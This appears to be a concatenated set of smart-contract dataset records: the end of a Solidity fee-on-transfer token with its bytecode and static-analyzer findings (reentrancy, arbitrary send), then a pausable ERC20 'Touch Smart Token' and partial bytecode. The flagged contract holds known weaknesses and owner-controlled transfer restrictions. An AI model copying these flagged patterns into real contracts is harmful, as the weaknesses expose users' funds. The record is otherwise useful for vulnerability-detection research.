= address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 600 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d3578063a9059cbb14610300578063c3c8cd8014610320578063d543dbeb14610335578063dd62ed3e1461035557600080fd5b80636fc3eaec1461026157806370a0823114610276578063715018a6146102965780638da5cb5b146102ab57600080fd5b806323b872dd116100dc57806323b872dd146101d0578063293230b8146101f0578063313ce567146102055780635932ead1146102215780636b9990531461024157600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461017d57806318160ddd146101ad57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b50610138610133366004611896565b61039b565b005b34801561014657600080fd5b506040805180820190915260088152674c6f726420496e7560c01b60208201525b60405161017491906119da565b60405180910390f35b34801561018957600080fd5b5061019d61019836600461186b565b610448565b6040519015158152602001610174565b3480156101b957600080fd5b50655af3107a40005b604051908152602001610174565b3480156101dc57600080fd5b5061019d6101eb36600461182b565b61045f565b3480156101fc57600080fd5b506101386104c8565b34801561021157600080fd5b5060405160098152602001610174565b34801561022d57600080fd5b5061013861023c36600461195d565b610885565b34801561024d57600080fd5b5061013861025c3660046117bb565b6108cd565b34801561026d57600080fd5b50610138610918565b34801561028257600080fd5b506101c26102913660046117bb565b610945565b3480156102a257600080fd5b50610138610967565b3480156102b757600080fd5b506000546040516001600160a01b039091168152602001610174565b3480156102df57600080fd5b506040805180820190915260048152631313d49160e21b6020820152610167565b34801561030c57600080fd5b5061019d61031b36600461186b565b6109db565b34801561032c57600080fd5b506101386109e8565b34801561034157600080fd5b50610138610350366004611995565b610a1e565b34801561036157600080fd5b506101c26103703660046117f3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103ce5760405162461bcd60e51b81526004016103c590611a2d565b60405180910390fd5b60005b8151811015610444576001600a600084848151811061040057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061043c81611b40565b9150506103d1565b5050565b6000610455338484610aee565b5060015b92915050565b600061046c848484610c12565b6104be84336104b985604051806060016040528060288152602001611bab602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611024565b610aee565b5060019392505050565b6000546001600160a01b031633146104f25760405162461bcd60e51b81526004016103c590611a2d565b600f54600160a01b900460ff161561054c5760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103c5565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105863082655af3107a4000610aee565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105bf57600080fd5b505afa1580156105d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f791906117d7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561063f57600080fd5b505afa158015610653573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067791906117d7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106bf57600080fd5b505af11580156106d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f791906117d7565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072781610945565b60008061073c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561079f57600080fd5b505af11580156107b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107d891906119ad565b5050600f8054648bb2c9700060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561084d57600080fd5b505af1158015610861573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104449190611979565b6000546001600160a01b031633146108af5760405162461bcd60e51b81526004016103c590611a2d565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146108f75760405162461bcd60e51b81526004016103c590611a2d565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461093857600080fd5b476109428161105e565b50565b6001600160a01b038116600090815260026020526040812054610459906110e3565b6000546001600160a01b031633146109915760405162461bcd60e51b81526004016103c590611a2d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610455338484610c12565b600c546001600160a01b0316336001600160a01b031614610a0857600080fd5b6000610a1330610945565b905061094281611167565b6000546001600160a01b03163314610a485760405162461bcd60e51b81526004016103c590611a2d565b60008111610a985760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103c5565b610ab36064610aad655af3107a40008461130c565b9061138b565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b505760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c5565b6001600160a01b038216610bb15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c5565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c765760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c5565b6001600160a01b038216610cd85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c5565b60008111610d3a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103c5565b6000546001600160a01b03848116911614801590610d6657506000546001600160a01b03838116911614155b15610fc757600f54600160b81b900460ff1615610e4d576001600160a01b0383163014801590610d9f57506001600160a01b0382163014155b8015610db95750600e546001600160a01b03848116911614155b8015610dd35750600e546001600160a01b03838116911614155b15610e4d57600e546001600160a01b0316336001600160a01b03161480610e0d5750600f546001600160a01b0316336001600160a01b0316145b610e4d5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103c5565b601054811115610e5c57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610e9e57506001600160a01b0382166000908152600a602052604090205460ff16155b610ea757600080fd5b600f546001600160a01b038481169116148015610ed25750600e546001600160a01b03838116911614155b8015610ef757506001600160a01b03821660009081526005602052604090205460ff16155b8015610f0c5750600f54600160b81b900460ff165b15610f5a576001600160a01b0382166000908152600b60205260409020544211610f3557600080fd5b610f4042600a611ad2565b6001600160a01b0383166000908152600b60205260409020555b6000610f6530610945565b600f54909150600160a81b900460ff16158015610f905750600f546001600160a01b03858116911614155b8015610fa55750600f54600160b01b900460ff165b15610fc557610fb381611167565b478015610fc357610fc34761105e565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061100957506001600160a01b03831660009081526005602052604090205460ff165b15611012575060005b61101e848484846113cd565b50505050565b600081848411156110485760405162461bcd60e51b81526004016103c591906119da565b5060006110558486611b29565b95945050505050565b600c546001600160a01b03166108fc61107883600261138b565b6040518115909202916000818181858888f193505050501580156110a0573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110bb83600261138b565b6040518115909202916000818181858888f19350505050158015610444573d6000803e3d6000fd5b600060065482111561114a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103c5565b60006111546113f9565b9050611160838261138b565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111bd57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561121157600080fd5b505afa158015611225573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124991906117d7565b8160018151811061126a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112909130911684610aee565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c9908590600090869030904290600401611a62565b600060405180830381600087803b1580156112e357600080fd5b505af11580156112f7573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261131b57506000610459565b60006113278385611b0a565b9050826113348583611aea565b146111605760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103c5565b600061116083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061141c565b806113da576113da61144a565b6113e584848461146d565b8061101e5761101e6005600855600a600955565b6000806000611406611564565b9092509050611415828261138b565b9250505090565b6000818361143d5760405162461bcd60e51b81526004016103c591906119da565b5060006110558486611aea565b60085415801561145a5750600954155b1561146157565b60006008819055600955565b60008060008060008061147f876115a0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114b190876115fd565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114e0908661163f565b6001600160a01b0389166000908152600260205260409020556115028161169e565b61150c84836116e8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161155191815260200190565b60405180910390a3505050505050505050565b6006546000908190655af3107a400061157d828261138b565b82101561159757505060065492655af3107a400092509050565b90939092509050565b60008060008060008060008060006115bd8a60085460095461170c565b92509250925060006115cd6113f9565b905060008060006115e08e87878761175b565b919e509c509a509598509396509194505050505091939550919395565b600061116083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611024565b60008061164c8385611ad2565b9050838110156111605760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c5565b60006116a86113f9565b905060006116b6838361130c565b306000908152600260205260409020549091506116d3908261163f565b30600090815260026020526040902055505050565b6006546116f590836115fd565b600655600754611705908261163f565b6007555050565b60008080806117206064610aad898961130c565b905060006117336064610aad8a8961130c565b9050600061174b826117458b866115fd565b906115fd565b9992985090965090945050505050565b600080808061176a888661130c565b90506000611778888761130c565b90506000611786888861130c565b905060006117988261174586866115fd565b939b939a50919850919650505050505050565b80356117b681611b87565b919050565b6000602082840312156117cc578081fd5b813561116081611b87565b6000602082840312156117e8578081fd5b815161116081611b87565b60008060408385031215611805578081fd5b823561181081611b87565b9150602083013561182081611b87565b809150509250929050565b60008060006060848603121561183f578081fd5b833561184a81611b87565b9250602084013561185a81611b87565b929592945050506040919091013590565b6000806040838503121561187d578182fd5b823561188881611b87565b946020939093013593505050565b600060208083850312156118a8578182fd5b823567ffffffffffffffff808211156118bf578384fd5b818501915085601f8301126118d2578384fd5b8135818111156118e4576118e4611b71565b8060051b604051601f19603f8301168101818110858211171561190957611909611b71565b604052828152858101935084860182860187018a1015611927578788fd5b8795505b838610156119505761193c816117ab565b85526001959095019493860193860161192b565b5098975050505050505050565b60006020828403121561196e578081fd5b813561116081611b9c565b60006020828403121561198a578081fd5b815161116081611b9c565b6000602082840312156119a6578081fd5b5035919050565b6000806000606084860312156119c1578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a06578581018301518582016040015282016119ea565b81811115611a175783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ab15784516001600160a01b031683529383019391830191600101611a8c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ae557611ae5611b5b565b500190565b600082611b0557634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b2457611b24611b5b565b500290565b600082821015611b3b57611b3b611b5b565b500390565b6000600019821415611b5457611b54611b5b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094257600080fd5b801515811461094257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208a8f2b2fb169cefaa529cffcbacbda126ea87c7b1e0695fa303afae3ba597acb64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,875
0xd9bae39c725a1864b1133ad0ef1640d02f79b78c
pragma solidity ^0.5.2; /** * Data Revolution Technologies PTY LTD * Touch Smart Token (TST) */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint256 _addedValue) public whenNotPaused returns (bool) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool) { return super.decreaseApproval(_spender, _subtractedValue); } } contract TSToken is PausableToken { string public constant name = "Touch Smart Token"; string public constant symbol = "TST"; uint256 public constant decimals = 18; mapping (address => uint256) freezes; /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); constructor() public { totalSupply_ = 1000000000 * (10 ** uint256(decimals)); balances[msg.sender] = totalSupply_; } function freezeOf(address _owner) public view returns (uint256) { return freezes[_owner]; } function burn(uint256 _value) whenNotPaused public returns (bool) { require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(msg.sender, _value); return true; } function freeze(uint256 _value) whenNotPaused public returns (bool) { require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); freezes[msg.sender] = freezes[msg.sender].add(_value); emit Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) whenNotPaused public returns (bool) { require(_value <= freezes[msg.sender]); freezes[msg.sender] = freezes[msg.sender].sub(_value); balances[msg.sender] = balances[msg.sender].add(_value); emit Unfreeze(msg.sender, _value); return true; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner whenNotPaused public { super.transferOwnership(newOwner); } /** * The fallback function. */ function() payable external { revert(); } }
0x608060405260043610610147576000357c01000000000000000000000000000000000000000000000000000000009004806370a08231116100c8578063a9059cbb1161008c578063a9059cbb14610611578063cd4217c114610684578063d73dd623146106e9578063d7a78db81461075c578063dd62ed3e146107af578063f2fde38b1461083457610147565b806370a0823114610497578063715018a6146104fc5780638456cb59146105135780638da5cb5b1461052a57806395d89b411461058157610147565b80633f4ba83a1161010f5780633f4ba83a1461033857806342966c681461034f5780635c975abb146103a257806366188463146103d15780636623fc461461044457610147565b806306fdde031461014c578063095ea7b3146101dc57806318160ddd1461024f57806323b872dd1461027a578063313ce5671461030d575b600080fd5b34801561015857600080fd5b50610161610885565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a1578082015181840152602081019050610186565b50505050905090810190601f1680156101ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e857600080fd5b50610235600480360360408110156101ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108be565b604051808215151515815260200191505060405180910390f35b34801561025b57600080fd5b506102646108ee565b6040518082815260200191505060405180910390f35b34801561028657600080fd5b506102f36004803603606081101561029d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108f8565b604051808215151515815260200191505060405180910390f35b34801561031957600080fd5b5061032261092a565b6040518082815260200191505060405180910390f35b34801561034457600080fd5b5061034d61092f565b005b34801561035b57600080fd5b506103886004803603602081101561037257600080fd5b81019080803590602001909291905050506109ef565b604051808215151515815260200191505060405180910390f35b3480156103ae57600080fd5b506103b7610b5f565b604051808215151515815260200191505060405180910390f35b3480156103dd57600080fd5b5061042a600480360360408110156103f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b72565b604051808215151515815260200191505060405180910390f35b34801561045057600080fd5b5061047d6004803603602081101561046757600080fd5b8101908080359060200190929190505050610ba2565b604051808215151515815260200191505060405180910390f35b3480156104a357600080fd5b506104e6600480360360208110156104ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d8d565b6040518082815260200191505060405180910390f35b34801561050857600080fd5b50610511610dd5565b005b34801561051f57600080fd5b50610528610eda565b005b34801561053657600080fd5b5061053f610f9b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058d57600080fd5b50610596610fc1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d65780820151818401526020810190506105bb565b50505050905090810190601f1680156106035780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061d57600080fd5b5061066a6004803603604081101561063457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ffa565b604051808215151515815260200191505060405180910390f35b34801561069057600080fd5b506106d3600480360360208110156106a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061102a565b6040518082815260200191505060405180910390f35b3480156106f557600080fd5b506107426004803603604081101561070c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611073565b604051808215151515815260200191505060405180910390f35b34801561076857600080fd5b506107956004803603602081101561077f57600080fd5b81019080803590602001909291905050506110a3565b604051808215151515815260200191505060405180910390f35b3480156107bb57600080fd5b5061081e600480360360408110156107d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061128d565b6040518082815260200191505060405180910390f35b34801561084057600080fd5b506108836004803603602081101561085757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611314565b005b6040805190810160405280601181526020017f546f75636820536d61727420546f6b656e00000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156108dc57600080fd5b6108e68383611398565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561091657600080fd5b61092184848461148a565b90509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561098b57600080fd5b600360149054906101000a900460ff1615156109a657600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360149054906101000a900460ff16151515610a0d57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a5a57600080fd5b610aab8260008